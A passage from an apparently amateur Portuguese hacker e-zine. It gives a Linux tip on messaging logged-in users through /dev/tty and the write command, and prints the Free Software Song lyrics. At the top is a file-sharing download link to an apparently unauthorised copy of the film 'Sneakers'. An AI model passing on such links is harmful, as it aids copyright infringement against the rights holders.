http://www.fileswap.com/dl/9ZqXEs4dJ/Filme_-_Sneakers_%28_Quebra_de_Sigilo_1992_%29.rar.html
Obs: Na época em que eu tinha baixado esse filme, foi no finado Megaupload. Procurando na
internet eu achei esse link torrent aí!
Obs²: O filme ficou conhecido aqui no Brasil como "Quebra de sigilo" e está disponível
no Netflix.
[6]========================================[+]
| Enviando mensagens para users logados |
[+]========================================[6]
Nesta dica mostrarei um truque aparentemente simples, mas interessante de
se fazer em ambiente linux.
Primeiramente teremos que ter conhecimento de que o Linux e outros Unixes
são S.O's multiusuários, e cada usuário logado na máquina possui seu respectivo
tty sendo utilizado. Estes tty's são pseudo-arquivos localizados no diretório /dev .
Quando se é administrador da máquina em que se tem outros usuários logados no
sistema, é possivel, em modo texto, enviar mensagens para os outros usuários. Quando
eu disse "administrador da máquina", quis dizer de uma maneira mais bonitinha
sobre ter que usar o usuário "Root" para realizar tal faceta.
Let's Go !
Com o comando 'w', visualizarei os users logados no sistema.
root@LINUX:~# w
12:21:36 up 46 min, 4 users, load average: 0,53, 0,57, 0,54
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
b0b1m tty1 - 11:59 20:29 0.85s 0.59s -bash
b0b0_d4_c0rt3 tty7 :0 11:35 3:46m 1:19 0.06s /bin/sh /etc/xd
b0b0_d4_c0rt3 pts/0 :0.0 12:19 1:09 0.56s 0.56s bash
b0b0_d4_c0rt3 pts/1 :0.0 12:20 0.00s 0.80s 0.91s xfce4-terminal
Para mandar uma mensagem para o usuário do tty1, o user 'b0b1m', farei o seguinte:
root@LINUX:~# echo " O que você tá fazendo aqui? " > /dev/tty1
Explicação:
echo = Comando para impressão de caracteres.
" " = O conteúdo entres aspas são o que será impresso pelo 'echo'.
> = Redirecionador de saída, que aponta para o caminho do tty1.
/dev/tty1 = Caminho para o tty1, usado pelo usuário 'b0b1m'.
Como resultado teremos no shell do 'b0b1m':
b0b1m@LINUX:~$ O que você tá fazendo aqui?
Para voltar ao bash, é só pressionar 'Enter'.
Mas esta não é única forma de se mandar mensagens para outros usuários. Existem
maneiras mais formais de se fazer isso sem gabiarras rs.
Vamos usar o comando "write". Com ele a gente consegue escrever no tty de outros
usuários. A sintaxe do comando é a seguinte:
write USUARIO [tty]
O tty pode ser opcional, mas é legal especificar. Exemplo:
root@Deadpool:~# write root tty1
write: write: you have write permission turned off.
Lucia nao faz a pessega!
Após digitar a mensagem, é dar um Ctrl + D e a mensagem será enviada.
[7]========================================[+]
| Free Software song |
[+]========================================[7]
Há pouco tempo, tive a oportunidade de ver o grande Richard Stallman em um evento
de software livre. Comprei até um broche das mãos dele! rsrs
Mas enfim, no final da palestra dele (com direito a explosões de raiva e palavrões),
ele cantou uma música até então inédito aos meus ouvidos:
O HINO DO SOFTWARE LIVRE
Join us now and share the software;
You'll be free, hackers, you'll be free.
Join us now and share the software;
You'll be free, hackers, you'll be free.
Hoarders can get piles of money,
That is true, hackers, that is true.
But they cannot help their neighbors;
That's not good, hackers, that's not good.
When we have enough free software
At our call, hackers, at our call,
We'll kick out those dirty licenses
Ever more, hackers, ever more.
Join us now and share the software;
You'll be free, hackers, you'll be free.
Join us now and share the software;
You'll be free, hackers, you'll be free.
http://www.gnu.org/music/free-software-song.html
Admiro muito a filosofia do open source, não sou um militante do software livre ou algo
assim, mas achei interessante a música. Link de um vídeo dele cantando a música:
http://www.youtube.com/watch?v=1BH7poMtPVU
[8]========================================[+]
| FIM |
[+]========================================[8]
Espero que essa edição tenha superado a primeira e que tenha novas
edições por um bom tempo. E é claro, que o conteúdo sempre evolua!
Vou estudar mais aqui... e tentar escrever mais textos para a próxima
edição.
Telefone para contato: 415 723 9709
Twitter: @B0b0_d4_c0rt3
Email: b0b0.d4.c0rt3@gmail.com
Endereço: Rua dos b0b0s, n° 0
Encerro por aqui.
Cruji Cruji Cruji thau!
EOF